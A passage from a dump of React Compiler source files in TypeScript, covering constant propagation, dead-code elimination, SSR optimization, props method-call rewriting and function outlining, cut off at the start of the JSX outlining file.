= read(constants, value.value);\n      if (\n        previous !== null &&\n        previous.kind === 'Primitive' &&\n        typeof previous.value === 'number'\n      ) {\n        const next: Primitive = {\n          kind: 'Primitive',\n          value:\n            value.operation === '++' ? previous.value + 1 : previous.value - 1,\n          loc: value.loc,\n        };\n        // Store and return the updated value\n        constants.set(value.lvalue.identifier.id, next);\n        return next;\n      }\n      return null;\n    }\n    case 'UnaryExpression': {\n      switch (value.operator) {\n        case '!': {\n          const operand = read(constants, value.value);\n          if (operand !== null && operand.kind === 'Primitive') {\n            const result: Primitive = {\n              kind: 'Primitive',\n              value: !operand.value,\n              loc: value.loc,\n            };\n            instr.value = result;\n            return result;\n          }\n          return null;\n        }\n        case '-': {\n          const operand = read(constants, value.value);\n          if (\n            operand !== null &&\n            operand.kind === 'Primitive' &&\n            typeof operand.value === 'number'\n          ) {\n            const result: Primitive = {\n              kind: 'Primitive',\n              value: operand.value * -1,\n              loc: value.loc,\n            };\n            instr.value = result;\n            return result;\n          }\n          return null;\n        }\n        default:\n          return null;\n      }\n    }\n    case 'BinaryExpression': {\n      const lhsValue = read(constants, value.left);\n      const rhsValue = read(constants, value.right);\n      if (\n        lhsValue !== null &&\n        rhsValue !== null &&\n        lhsValue.kind === 'Primitive' &&\n        rhsValue.kind === 'Primitive'\n      ) {\n        const lhs = lhsValue.value;\n        const rhs = rhsValue.value;\n        let result: Primitive | null = null;\n        switch (value.operator) {\n          case '+': {\n            if (typeof lhs === 'number' && typeof rhs === 'number') {\n              result = {kind: 'Primitive', value: lhs + rhs, loc: value.loc};\n            } else if (typeof lhs === 'string' && typeof rhs === 'string') {\n              result = {kind: 'Primitive', value: lhs + rhs, loc: value.loc};\n            }\n            break;\n          }\n          case '-': {\n            if (typeof lhs === 'number' && typeof rhs === 'number') {\n              result = {kind: 'Primitive', value: lhs - rhs, loc: value.loc};\n            }\n            break;\n          }\n          case '*': {\n            if (typeof lhs === 'number' && typeof rhs === 'number') {\n              result = {kind: 'Primitive', value: lhs * rhs, loc: value.loc};\n            }\n            break;\n          }\n          case '/': {\n            if (typeof lhs === 'number' && typeof rhs === 'number') {\n              result = {kind: 'Primitive', value: lhs / rhs, loc: value.loc};\n            }\n            break;\n          }\n          case '|': {\n            if (typeof lhs === 'number' && typeof rhs === 'number') {\n              result = {kind: 'Primitive', value: lhs | rhs, loc: value.loc};\n            }\n            break;\n          }\n          case '&': {\n            if (typeof lhs === 'number' && typeof rhs === 'number') {\n              result = {kind: 'Primitive', value: lhs & rhs, loc: value.loc};\n            }\n            break;\n          }\n          case '^': {\n            if (typeof lhs === 'number' && typeof rhs === 'number') {\n              result = {kind: 'Primitive', value: lhs ^ rhs, loc: value.loc};\n            }\n            break;\n          }\n          case '<<': {\n            if (typeof lhs === 'number' && typeof rhs === 'number') {\n              result = {kind: 'Primitive', value: lhs << rhs, loc: value.loc};\n            }\n            break;\n          }\n          case '>>': {\n            if (typeof lhs === 'number' && typeof rhs === 'number') {\n              result = {kind: 'Primitive', value: lhs >> rhs, loc: value.loc};\n            }\n            break;\n          }\n          case '>>>': {\n            if (typeof lhs === 'number' && typeof rhs === 'number') {\n              result = {\n                kind: 'Primitive',\n                value: lhs >>> rhs,\n                loc: value.loc,\n              };\n            }\n            break;\n          }\n          case '%': {\n            if (typeof lhs === 'number' && typeof rhs === 'number') {\n              result = {kind: 'Primitive', value: lhs % rhs, loc: value.loc};\n            }\n            break;\n          }\n          case '**': {\n            if (typeof lhs === 'number' && typeof rhs === 'number') {\n              result = {kind: 'Primitive', value: lhs ** rhs, loc: value.loc};\n            }\n            break;\n          }\n          case '<': {\n            if (typeof lhs === 'number' && typeof rhs === 'number') {\n              result = {kind: 'Primitive', value: lhs < rhs, loc: value.loc};\n            }\n            break;\n          }\n          case '<=': {\n            if (typeof lhs === 'number' && typeof rhs === 'number') {\n              result = {kind: 'Primitive', value: lhs <= rhs, loc: value.loc};\n            }\n            break;\n          }\n          case '>': {\n            if (typeof lhs === 'number' && typeof rhs === 'number') {\n              result = {kind: 'Primitive', value: lhs > rhs, loc: value.loc};\n            }\n            break;\n          }\n          case '>=': {\n            if (typeof lhs === 'number' && typeof rhs === 'number') {\n              result = {kind: 'Primitive', value: lhs >= rhs, loc: value.loc};\n            }\n            break;\n          }\n          case '==': {\n            result = {kind: 'Primitive', value: lhs == rhs, loc: value.loc};\n            break;\n          }\n          case '===': {\n            result = {kind: 'Primitive', value: lhs === rhs, loc: value.loc};\n            break;\n          }\n          case '!=': {\n            result = {kind: 'Primitive', value: lhs != rhs, loc: value.loc};\n            break;\n          }\n          case '!==': {\n            result = {kind: 'Primitive', value: lhs !== rhs, loc: value.loc};\n            break;\n          }\n          default: {\n            break;\n          }\n        }\n        if (result !== null) {\n          instr.value = result;\n          return result;\n        }\n      }\n      return null;\n    }\n    case 'PropertyLoad': {\n      const objectValue = read(constants, value.object);\n      if (objectValue !== null) {\n        if (\n          objectValue.kind === 'Primitive' &&\n          typeof objectValue.value === 'string' &&\n          value.property === 'length'\n        ) {\n          const result: InstructionValue = {\n            kind: 'Primitive',\n            value: objectValue.value.length,\n            loc: value.loc,\n          };\n          instr.value = result;\n          return result;\n        }\n      }\n      return null;\n    }\n    case 'TemplateLiteral': {\n      if (value.subexprs.length === 0) {\n        const result: InstructionValue = {\n          kind: 'Primitive',\n          value: value.quasis.map(q => q.cooked).join(''),\n          loc: value.loc,\n        };\n        instr.value = result;\n        return result;\n      }\n\n      if (value.subexprs.length !== value.quasis.length - 1) {\n        return null;\n      }\n\n      if (value.quasis.some(q => q.cooked === undefined)) {\n        return null;\n      }\n\n      let quasiIndex = 0;\n      let resultString = value.quasis[quasiIndex].cooked as string;\n      ++quasiIndex;\n\n      for (const subExpr of value.subexprs) {\n        const subExprValue = read(constants, subExpr);\n        if (!subExprValue || subExprValue.kind !== 'Primitive') {\n          return null;\n        }\n\n        const expressionValue = subExprValue.value;\n        if (\n          typeof expressionValue !== 'number' &&\n          typeof expressionValue !== 'string' &&\n          typeof expressionValue !== 'boolean' &&\n          !(typeof expressionValue === 'object' && expressionValue === null)\n        ) {\n          // value is not supported (function, object) or invalid (symbol), or something else\n          return null;\n        }\n\n        const suffix = value.quasis[quasiIndex].cooked;\n        ++quasiIndex;\n\n        if (suffix === undefined) {\n          return null;\n        }\n\n        /*\n         * Spec states that concat calls ToString(argument) internally on its parameters\n         * -> we don't have to implement ToString(argument) ourselves and just use the engine implementation\n         * Refs:\n         *  - https://tc39.es/ecma262/2024/#sec-tostring\n         *  - https://tc39.es/ecma262/2024/#sec-string.prototype.concat\n         *  - https://tc39.es/ecma262/2024/#sec-template-literals-runtime-semantics-evaluation\n         */\n        resultString = resultString.concat(expressionValue as string, suffix);\n      }\n\n      const result: InstructionValue = {\n        kind: 'Primitive',\n        value: resultString,\n        loc: value.loc,\n      };\n\n      instr.value = result;\n      return result;\n    }\n    case 'LoadLocal': {\n      const placeValue = read(constants, value.place);\n      if (placeValue !== null) {\n        instr.value = placeValue;\n      }\n      return placeValue;\n    }\n    case 'StoreLocal': {\n      const placeValue = read(constants, value.value);\n      if (placeValue !== null) {\n        constants.set(value.lvalue.place.identifier.id, placeValue);\n      }\n      return placeValue;\n    }\n    case 'ObjectMethod':\n    case 'FunctionExpression': {\n      constantPropagationImpl(value.loweredFunc.func, constants);\n      return null;\n    }\n    case 'StartMemoize': {\n      if (value.deps != null) {\n        for (const dep of value.deps) {\n          if (dep.root.kind === 'NamedLocal') {\n            const placeValue = read(constants, dep.root.value);\n            if (placeValue != null && placeValue.kind === 'Primitive') {\n              dep.root.constant = true;\n            }\n          }\n        }\n      }\n      return null;\n    }\n    default: {\n      // TODO: handle more cases\n      return null;\n    }\n  }\n}\n\n/*\n * Recursively read the value of a place: if it is a constant place, attempt to read\n * from that place until reaching a primitive or finding a value that is unset.\n */\nfunction read(constants: Constants, place: Place): Constant | null {\n  return constants.get(place.identifier.id) ?? null;\n}\n\ntype Constant = Primitive | LoadGlobal;\ntype Constants = Map<IdentifierId, Constant>;\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Optimization/DeadCodeElimination.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  BlockId,\n  Environment,\n  getHookKind,\n  HIRFunction,\n  Identifier,\n  IdentifierId,\n  Instruction,\n  InstructionKind,\n  InstructionValue,\n  ObjectPattern,\n} from '../HIR';\nimport {\n  eachInstructionValueOperand,\n  eachPatternOperand,\n  eachTerminalOperand,\n} from '../HIR/visitors';\nimport {assertExhaustive, retainWhere} from '../Utils/utils';\n\n/*\n * Implements dead-code elimination, eliminating instructions whose values are unused.\n *\n * Note that unreachable blocks are already pruned during HIR construction.\n */\nexport function deadCodeElimination(fn: HIRFunction): void {\n  /**\n   * Phase 1: Find/mark all referenced identifiers\n   * Usages may be visited AFTER declarations if there are circular phi / data dependencies\n   * between blocks, so we wait to sweep until after fixed point iteration is complete\n   */\n  const state = findReferencedIdentifiers(fn);\n\n  /**\n   * Phase 2: Prune / sweep unreferenced identifiers and instructions\n   * as possible (subject to HIR structural constraints)\n   */\n  for (const [, block] of fn.body.blocks) {\n    for (const phi of block.phis) {\n      if (!state.isIdOrNameUsed(phi.place.identifier)) {\n        block.phis.delete(phi);\n      }\n    }\n    retainWhere(block.instructions, instr =>\n      state.isIdOrNameUsed(instr.lvalue.identifier),\n    );\n    // Rewrite retained instructions\n    for (let i = 0; i < block.instructions.length; i++) {\n      const isBlockValue =\n        block.kind !== 'block' && i === block.instructions.length - 1;\n      if (!isBlockValue) {\n        rewriteInstruction(block.instructions[i], state);\n      }\n    }\n  }\n\n  /**\n   * Constant propagation and DCE may have deleted or rewritten instructions\n   * that reference context variables.\n   */\n  retainWhere(fn.context, contextVar =>\n    state.isIdOrNameUsed(contextVar.identifier),\n  );\n}\n\nclass State {\n  env: Environment;\n  named: Set<string> = new Set();\n  identifiers: Set<IdentifierId> = new Set();\n\n  constructor(env: Environment) {\n    this.env = env;\n  }\n\n  // Mark the identifier as being referenced (not dead code)\n  reference(identifier: Identifier): void {\n    this.identifiers.add(identifier.id);\n    if (identifier.name !== null) {\n      this.named.add(identifier.name.value);\n    }\n  }\n\n  /*\n   * Check if any version of the given identifier is used somewhere.\n   * This checks both for usage of this specific identifer id (ssa id)\n   * and (for named identifiers) for any usages of that identifier name.\n   */\n  isIdOrNameUsed(identifier: Identifier): boolean {\n    return (\n      this.identifiers.has(identifier.id) ||\n      (identifier.name !== null && this.named.has(identifier.name.value))\n    );\n  }\n\n  /*\n   * Like `used()`, but only checks for usages of this specific identifier id\n   * (ssa id).\n   */\n  isIdUsed(identifier: Identifier): boolean {\n    return this.identifiers.has(identifier.id);\n  }\n\n  get count(): number {\n    return this.identifiers.size;\n  }\n}\n\nfunction findReferencedIdentifiers(fn: HIRFunction): State {\n  /*\n   * If there are no back-edges the algorithm can terminate after a single iteration\n   * of the blocks\n   */\n  const hasLoop = hasBackEdge(fn);\n  const reversedBlocks = [...fn.body.blocks.values()].reverse();\n\n  const state = new State(fn.env);\n  let size = state.count;\n  do {\n    size = state.count;\n\n    /*\n     * Iterate blocks in postorder (successors before predecessors, excepting loops)\n     * to visit usages before declarations\n     */\n    for (const block of reversedBlocks) {\n      for (const operand of eachTerminalOperand(block.terminal)) {\n        state.reference(operand.identifier);\n      }\n\n      for (let i = block.instructions.length - 1; i >= 0; i--) {\n        const instr = block.instructions[i]!;\n        const isBlockValue =\n          block.kind !== 'block' && i === block.instructions.length - 1;\n\n        if (isBlockValue) {\n          /**\n           * The last instr of a value block is never eligible for pruning,\n           * as that's the block's value. Pessimistically consider all operands\n           * as used to avoid rewriting the last instruction\n           */\n          state.reference(instr.lvalue.identifier);\n          for (const place of eachInstructionValueOperand(instr.value)) {\n            state.reference(place.identifier);\n          }\n        } else if (\n          state.isIdOrNameUsed(instr.lvalue.identifier) ||\n          !pruneableValue(instr.value, state)\n        ) {\n          state.reference(instr.lvalue.identifier);\n\n          if (instr.value.kind === 'StoreLocal') {\n            /*\n             * If this is a Let/Const declaration, mark the initializer as referenced\n             * only if the ssa'ed lval is also referenced\n             */\n            if (\n              instr.value.lvalue.kind === InstructionKind.Reassign ||\n              state.isIdUsed(instr.value.lvalue.place.identifier)\n            ) {\n              state.reference(instr.value.value.identifier);\n            }\n          } else {\n            for (const operand of eachInstructionValueOperand(instr.value)) {\n              state.reference(operand.identifier);\n            }\n          }\n        }\n      }\n      for (const phi of block.phis) {\n        if (state.isIdOrNameUsed(phi.place.identifier)) {\n          for (const [_pred, operand] of phi.operands) {\n            state.reference(operand.identifier);\n          }\n        }\n      }\n    }\n  } while (state.count > size && hasLoop);\n  return state;\n}\n\nfunction rewriteInstruction(instr: Instruction, state: State): void {\n  if (instr.value.kind === 'Destructure') {\n    // Remove unused lvalues\n    switch (instr.value.lvalue.pattern.kind) {\n      case 'ArrayPattern': {\n        /*\n         * For arrays, we can prune items prior to the end by replacing\n         * them with a hole. Items at the end can simply be dropped.\n         */\n        let lastEntryIndex = 0;\n        const items = instr.value.lvalue.pattern.items;\n        for (let i = 0; i < items.length; i++) {\n          const item = items[i];\n          if (item.kind === 'Identifier') {\n            if (!state.isIdOrNameUsed(item.identifier)) {\n              items[i] = {kind: 'Hole'};\n            } else {\n              lastEntryIndex = i;\n            }\n          } else if (item.kind === 'Spread') {\n            if (!state.isIdOrNameUsed(item.place.identifier)) {\n              items[i] = {kind: 'Hole'};\n            } else {\n              lastEntryIndex = i;\n            }\n          }\n        }\n        items.length = lastEntryIndex + 1;\n        break;\n      }\n      case 'ObjectPattern': {\n        /*\n         * For objects we can prune any unused properties so long as there is no used rest element\n         * (`const {x, ...y} = z`). If a rest element exists and is used, then nothing can be pruned\n         * because it would change the set of properties which are copied into the rest value.\n         * In the `const {x, ...y} = z` example, removing the `x` property would mean that `y` now\n         * has an `x` property, changing the semantics.\n         */\n        let nextProperties: ObjectPattern['properties'] | null = null;\n        for (const property of instr.value.lvalue.pattern.properties) {\n          if (property.kind === 'ObjectProperty') {\n            if (state.isIdOrNameUsed(property.place.identifier)) {\n              nextProperties ??= [];\n              nextProperties.push(property);\n            }\n          } else {\n            if (state.isIdOrNameUsed(property.place.identifier)) {\n              nextProperties = null;\n              break;\n            }\n          }\n        }\n        if (nextProperties !== null) {\n          instr.value.lvalue.pattern.properties = nextProperties;\n        }\n        break;\n      }\n      default: {\n        assertExhaustive(\n          instr.value.lvalue.pattern,\n          `Unexpected pattern kind '${\n            (instr.value.lvalue.pattern as any).kind\n          }'`,\n        );\n      }\n    }\n  } else if (instr.value.kind === 'StoreLocal') {\n    if (\n      instr.value.lvalue.kind !== InstructionKind.Reassign &&\n      !state.isIdUsed(instr.value.lvalue.place.identifier)\n    ) {\n      /*\n       * This is a const/let declaration where the variable is accessed later,\n       * but where the value is always overwritten before being read. Ie the\n       * initializer value is never read. We rewrite to a DeclareLocal so\n       * that the initializer value can be DCE'd\n       */\n      instr.value = {\n        kind: 'DeclareLocal',\n        lvalue: instr.value.lvalue,\n        type: instr.value.type,\n        loc: instr.value.loc,\n      };\n    }\n  }\n}\n\n/*\n * Returns true if it is safe to prune an instruction with the given value.\n * Functions which may have side-\n */\nfunction pruneableValue(value: InstructionValue, state: State): boolean {\n  switch (value.kind) {\n    case 'DeclareLocal': {\n      // Declarations are pruneable only if the named variable is never read later\n      return !state.isIdOrNameUsed(value.lvalue.place.identifier);\n    }\n    case 'StoreLocal': {\n      if (value.lvalue.kind === InstructionKind.Reassign) {\n        // Reassignments can be pruned if the specific instance being assigned is never read\n        return !state.isIdUsed(value.lvalue.place.identifier);\n      }\n      // Declarations are pruneable only if the named variable is never read later\n      return !state.isIdOrNameUsed(value.lvalue.place.identifier);\n    }\n    case 'Destructure': {\n      let isIdOrNameUsed = false;\n      let isIdUsed = false;\n      for (const place of eachPatternOperand(value.lvalue.pattern)) {\n        if (state.isIdUsed(place.identifier)) {\n          isIdOrNameUsed = true;\n          isIdUsed = true;\n        } else if (state.isIdOrNameUsed(place.identifier)) {\n          isIdOrNameUsed = true;\n        }\n      }\n      if (value.lvalue.kind === InstructionKind.Reassign) {\n        // Reassignments can be pruned if the specific instance being assigned is never read\n        return !isIdUsed;\n      } else {\n        // Otherwise pruneable only if none of the identifiers are read from later\n        return !isIdOrNameUsed;\n      }\n    }\n    case 'PostfixUpdate':\n    case 'PrefixUpdate': {\n      // Updates are pruneable if the specific instance instance being assigned is never read\n      return !state.isIdUsed(value.lvalue.identifier);\n    }\n    case 'Debugger': {\n      // explicitly retain debugger statements to not break debugging workflows\n      return false;\n    }\n    case 'CallExpression':\n    case 'MethodCall': {\n      if (state.env.outputMode === 'ssr') {\n        const calleee =\n          value.kind === 'CallExpression' ? value.callee : value.property;\n        const hookKind = getHookKind(state.env, calleee.identifier);\n        switch (hookKind) {\n          case 'useState':\n          case 'useReducer':\n          case 'useRef': {\n            // unused refs can be removed\n            return true;\n          }\n        }\n      }\n      return false;\n    }\n    case 'Await':\n    case 'ComputedDelete':\n    case 'ComputedStore':\n    case 'PropertyDelete':\n    case 'PropertyStore':\n    case 'StoreGlobal': {\n      /*\n       * Mutating instructions are not safe to prune.\n       * TODO: we could be more precise and make this conditional on whether\n       * any arguments are actually modified\n       */\n      return false;\n    }\n    case 'NewExpression':\n    case 'UnsupportedNode':\n    case 'TaggedTemplateExpression': {\n      // Potentially safe to prune, since they should just be creating new values\n      return false;\n    }\n    case 'GetIterator':\n    case 'NextPropertyOf':\n    case 'IteratorNext': {\n      /*\n       * Technically a IteratorNext/NextPropertyOf will never be unused because it's\n       * always used later by another StoreLocal or Destructure instruction, but conceptually\n       * we can't prune\n       */\n      return false;\n    }\n    case 'LoadContext':\n    case 'DeclareContext':\n    case 'StoreContext': {\n      return false;\n    }\n    case 'StartMemoize':\n    case 'FinishMemoize': {\n      /**\n       * This instruction is used by the @enablePreserveExistingMemoizationGuarantees feature\n       * to preserve information about memoization semantics in the original code. We can't\n       * DCE without losing the memoization guarantees.\n       */\n      return false;\n    }\n    case 'RegExpLiteral':\n    case 'MetaProperty':\n    case 'LoadGlobal':\n    case 'ArrayExpression':\n    case 'BinaryExpression':\n    case 'ComputedLoad':\n    case 'ObjectMethod':\n    case 'FunctionExpression':\n    case 'LoadLocal':\n    case 'JsxExpression':\n    case 'JsxFragment':\n    case 'JSXText':\n    case 'ObjectExpression':\n    case 'Primitive':\n    case 'PropertyLoad':\n    case 'TemplateLiteral':\n    case 'TypeCastExpression':\n    case 'UnaryExpression': {\n      // Definitely safe to prune since they are read-only\n      return true;\n    }\n    default: {\n      assertExhaustive(\n        value,\n        `Unexepcted value kind \\`${(value as any).kind}\\``,\n      );\n    }\n  }\n}\n\nexport function hasBackEdge(fn: HIRFunction): boolean {\n  return findBlocksWithBackEdges(fn).size > 0;\n}\n\nexport function findBlocksWithBackEdges(fn: HIRFunction): Set<BlockId> {\n  const visited = new Set<BlockId>();\n  const blocks = new Set<BlockId>();\n  for (const [blockId, block] of fn.body.blocks) {\n    for (const predId of block.preds) {\n      if (!visited.has(predId)) {\n        blocks.add(blockId);\n      }\n    }\n    visited.add(blockId);\n  }\n  return blocks;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Optimization/OptimizeForSSR.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '..';\nimport {\n  CallExpression,\n  getHookKind,\n  HIRFunction,\n  IdentifierId,\n  InstructionValue,\n  isArrayType,\n  isPlainObjectType,\n  isPrimitiveType,\n  isSetStateType,\n  isStartTransitionType,\n  LoadLocal,\n  StoreLocal,\n} from '../HIR';\nimport {\n  eachInstructionValueOperand,\n  eachTerminalOperand,\n} from '../HIR/visitors';\nimport {retainWhere} from '../Utils/utils';\n\n/**\n * Optimizes the code for running specifically in an SSR environment. This optimization\n * asssumes that setState will not be called during render during initial mount, which\n * allows inlining useState/useReducer.\n *\n * Optimizations:\n * - Inline useState/useReducer\n * - Remove effects\n * - Remove refs where known to be unused during render (eg directly passed to a dom node)\n * - Remove event handlers\n *\n * Note that an earlier pass already inlines useMemo/useCallback\n */\nexport function optimizeForSSR(fn: HIRFunction): void {\n  const inlinedState = new Map<IdentifierId, InstructionValue>();\n  /**\n   * First pass identifies useState/useReducer which can be safely inlined. Any use\n   * of the hook return other than destructuring (with a specific pattern) prevents\n   * inlining.\n   *\n   * Supported cases:\n   * - `const [state, ] = useState( <primitive-array-or-object> )`\n   * - `const [state, ] = useReducer(..., <value>)`\n   * - `const [state, ] = useReducer[..., <value>, <init>]`\n   */\n  for (const block of fn.body.blocks.values()) {\n    for (const instr of block.instructions) {\n      const {value} = instr;\n      switch (value.kind) {\n        case 'Destructure': {\n          if (\n            inlinedState.has(value.value.identifier.id) &&\n            value.lvalue.pattern.kind === 'ArrayPattern' &&\n            value.lvalue.pattern.items.length >= 1 &&\n            value.lvalue.pattern.items[0].kind === 'Identifier'\n          ) {\n            // Allow destructuring of inlined states\n            continue;\n          }\n          break;\n        }\n        case 'MethodCall':\n        case 'CallExpression': {\n          const calleee =\n            value.kind === 'CallExpression' ? value.callee : value.property;\n          const hookKind = getHookKind(fn.env, calleee.identifier);\n          switch (hookKind) {\n            case 'useReducer': {\n              if (\n                value.args.length === 2 &&\n                value.args[1].kind === 'Identifier'\n              ) {\n                const arg = value.args[1];\n                const replace: LoadLocal = {\n                  kind: 'LoadLocal',\n                  place: arg,\n                  loc: arg.loc,\n                };\n                inlinedState.set(instr.lvalue.identifier.id, replace);\n              } else if (\n                value.args.length === 3 &&\n                value.args[1].kind === 'Identifier' &&\n                value.args[2].kind === 'Identifier'\n              ) {\n                const arg = value.args[1];\n                const initializer = value.args[2];\n                const replace: CallExpression = {\n                  kind: 'CallExpression',\n                  callee: initializer,\n                  args: [arg],\n                  loc: value.loc,\n                };\n                inlinedState.set(instr.lvalue.identifier.id, replace);\n              }\n              break;\n            }\n            case 'useState': {\n              if (\n                value.args.length === 1 &&\n                value.args[0].kind === 'Identifier'\n              ) {\n                const arg = value.args[0];\n                if (\n                  isPrimitiveType(arg.identifier) ||\n                  isPlainObjectType(arg.identifier) ||\n                  isArrayType(arg.identifier)\n                ) {\n                  const replace: LoadLocal = {\n                    kind: 'LoadLocal',\n                    place: arg,\n                    loc: arg.loc,\n                  };\n                  inlinedState.set(instr.lvalue.identifier.id, replace);\n                }\n              }\n              break;\n            }\n          }\n        }\n      }\n      // Any use of useState/useReducer return besides destructuring prevents inlining\n      if (inlinedState.size !== 0) {\n        for (const operand of eachInstructionValueOperand(value)) {\n          inlinedState.delete(operand.identifier.id);\n        }\n      }\n    }\n    if (inlinedState.size !== 0) {\n      for (const operand of eachTerminalOperand(block.terminal)) {\n        inlinedState.delete(operand.identifier.id);\n      }\n    }\n  }\n  for (const block of fn.body.blocks.values()) {\n    for (const instr of block.instructions) {\n      const {value} = instr;\n      switch (value.kind) {\n        case 'FunctionExpression': {\n          if (hasKnownNonRenderCall(value.loweredFunc.func)) {\n            instr.value = {\n              kind: 'Primitive',\n              value: undefined,\n              loc: value.loc,\n            };\n          }\n          break;\n        }\n        case 'JsxExpression': {\n          if (\n            value.tag.kind === 'BuiltinTag' &&\n            value.tag.name.indexOf('-') === -1\n          ) {\n            const tag = value.tag.name;\n            retainWhere(value.props, prop => {\n              return (\n                prop.kind === 'JsxSpreadAttribute' ||\n                (!isKnownEventHandler(tag, prop.name) && prop.name !== 'ref')\n              );\n            });\n          }\n          break;\n        }\n        case 'Destructure': {\n          if (inlinedState.has(value.value.identifier.id)) {\n            // Canonical check is part of determining if state can inline, this is for TS\n            CompilerError.invariant(\n              value.lvalue.pattern.kind === 'ArrayPattern' &&\n                value.lvalue.pattern.items.length >= 1 &&\n                value.lvalue.pattern.items[0].kind === 'Identifier',\n              {\n                reason:\n                  'Expected a valid destructuring pattern for inlined state',\n                message: 'Expected a valid destructuring pattern',\n                loc: value.loc,\n              },\n            );\n            const store: StoreLocal = {\n              kind: 'StoreLocal',\n              loc: value.loc,\n              type: null,\n              lvalue: {\n                kind: value.lvalue.kind,\n                place: value.lvalue.pattern.items[0],\n              },\n              value: value.value,\n            };\n            instr.value = store;\n          }\n          break;\n        }\n        case 'MethodCall':\n        case 'CallExpression': {\n          const calleee =\n            value.kind === 'CallExpression' ? value.callee : value.property;\n          const hookKind = getHookKind(fn.env, calleee.identifier);\n          switch (hookKind) {\n            case 'useEffectEvent': {\n              if (\n                value.args.length === 1 &&\n                value.args[0].kind === 'Identifier'\n              ) {\n                const load: LoadLocal = {\n                  kind: 'LoadLocal',\n                  place: value.args[0],\n                  loc: value.loc,\n                };\n                instr.value = load;\n              }\n              break;\n            }\n            case 'useEffect':\n            case 'useLayoutEffect':\n            case 'useInsertionEffect': {\n              // Drop effects\n              instr.value = {\n                kind: 'Primitive',\n                value: undefined,\n                loc: value.loc,\n              };\n              break;\n            }\n            case 'useReducer':\n            case 'useState': {\n              const replace = inlinedState.get(instr.lvalue.identifier.id);\n              if (replace != null) {\n                instr.value = replace;\n              }\n              break;\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\nfunction hasKnownNonRenderCall(fn: HIRFunction): boolean {\n  for (const block of fn.body.blocks.values()) {\n    for (const instr of block.instructions) {\n      if (\n        instr.value.kind === 'CallExpression' &&\n        (isSetStateType(instr.value.callee.identifier) ||\n          isStartTransitionType(instr.value.callee.identifier))\n      ) {\n        return true;\n      }\n    }\n  }\n  return false;\n}\n\nconst EVENT_HANDLER_PATTERN = /^on[A-Z]/;\nfunction isKnownEventHandler(_tag: string, prop: string): boolean {\n  return EVENT_HANDLER_PATTERN.test(prop);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Optimization/OptimizePropsMethodCalls.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {HIRFunction, isPropsType} from '../HIR';\n\n/**\n * Converts method calls into regular calls where the receiver is the props object:\n *\n * Example:\n *\n * ```\n * // INPUT\n * props.foo();\n *\n * // OUTPUT\n * const t0 = props.foo;\n * t0();\n * ```\n *\n * Counter example:\n *\n * Here the receiver is `props.foo`, not the props object, so we don't rewrite it:\n *\n * // INPUT\n * props.foo.bar();\n *\n * // OUTPUT\n * props.foo.bar();\n * ```\n */\nexport function optimizePropsMethodCalls(fn: HIRFunction): void {\n  for (const [, block] of fn.body.blocks) {\n    for (let i = 0; i < block.instructions.length; i++) {\n      const instr = block.instructions[i]!;\n      if (\n        instr.value.kind === 'MethodCall' &&\n        isPropsType(instr.value.receiver.identifier)\n      ) {\n        instr.value = {\n          kind: 'CallExpression',\n          callee: instr.value.property,\n          args: instr.value.args,\n          loc: instr.value.loc,\n        };\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Optimization/OutlineFunctions.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {HIRFunction, IdentifierId} from '../HIR';\n\nexport function outlineFunctions(\n  fn: HIRFunction,\n  fbtOperands: Set<IdentifierId>,\n): void {\n  for (const [, block] of fn.body.blocks) {\n    for (const instr of block.instructions) {\n      const {value, lvalue} = instr;\n\n      if (\n        value.kind === 'FunctionExpression' ||\n        value.kind === 'ObjectMethod'\n      ) {\n        // Recurse in case there are inner functions which can be outlined\n        outlineFunctions(value.loweredFunc.func, fbtOperands);\n      }\n      if (\n        value.kind === 'FunctionExpression' &&\n        value.loweredFunc.func.context.length === 0 &&\n        // TODO: handle outlining named functions\n        value.loweredFunc.func.id === null &&\n        !fbtOperands.has(lvalue.identifier.id)\n      ) {\n        const loweredFunc = value.loweredFunc.func;\n\n        const id = fn.env.generateGloballyUniqueIdentifierName(\n          loweredFunc.id ?? loweredFunc.nameHint,\n        );\n        loweredFunc.id = id.value;\n\n        fn.env.outlineFunction(loweredFunc, null);\n        instr.value = {\n          kind: 'LoadGlobal',\n          binding: {\n            kind: 'Global',\n            name: id.value,\n          },\n          loc: value.loc,\n        };\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Optimization/OutlineJsx.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport invariant from 'invariant';\nimport {Environment} from '../HIR';\nimport {\n  BasicBlock,\n  GeneratedSource,\n  HIRFunction,\n  IdentifierId,\n  Instruction,\n  InstructionId,\n  InstructionKind,\n  JsxAttribute,\n  JsxExpression,\n  LoadGlobal,\n  makeBlockId,\n  makeIdentifierName,\n  makeInstructionId,\n  ObjectProperty,\n  Place,\n  promoteTemporary,\n  promoteTemporaryJsxTag,\n} from '../HIR/HIR';\nimport {createTemporaryPlace} from '../HIR/HIRBuilder';\nimport {printIdentifier} from '../HIR/PrintHIR';\nimport {deadCodeElimination} from './DeadCodeElimination';\nimport {assertExhaustive} from '../Utils/utils';\n\nexport function outlineJSX(fn: HIRFunction): void {\n  const outlinedFns: Array<HIRFunction> = [];\n  outlineJsxImpl(fn, outlinedFns);\n\n  for (const outlinedFn of outlinedFns) {\n    fn.env.outlineFunction(outlinedFn, 'Component');\n  }\n}\n\ntype JsxInstruction = Instruction & {value: JsxExpression};\ntype LoadGlobalInstruction = Instruction & {value: LoadGlobal};\ntype LoadGlobalMap = 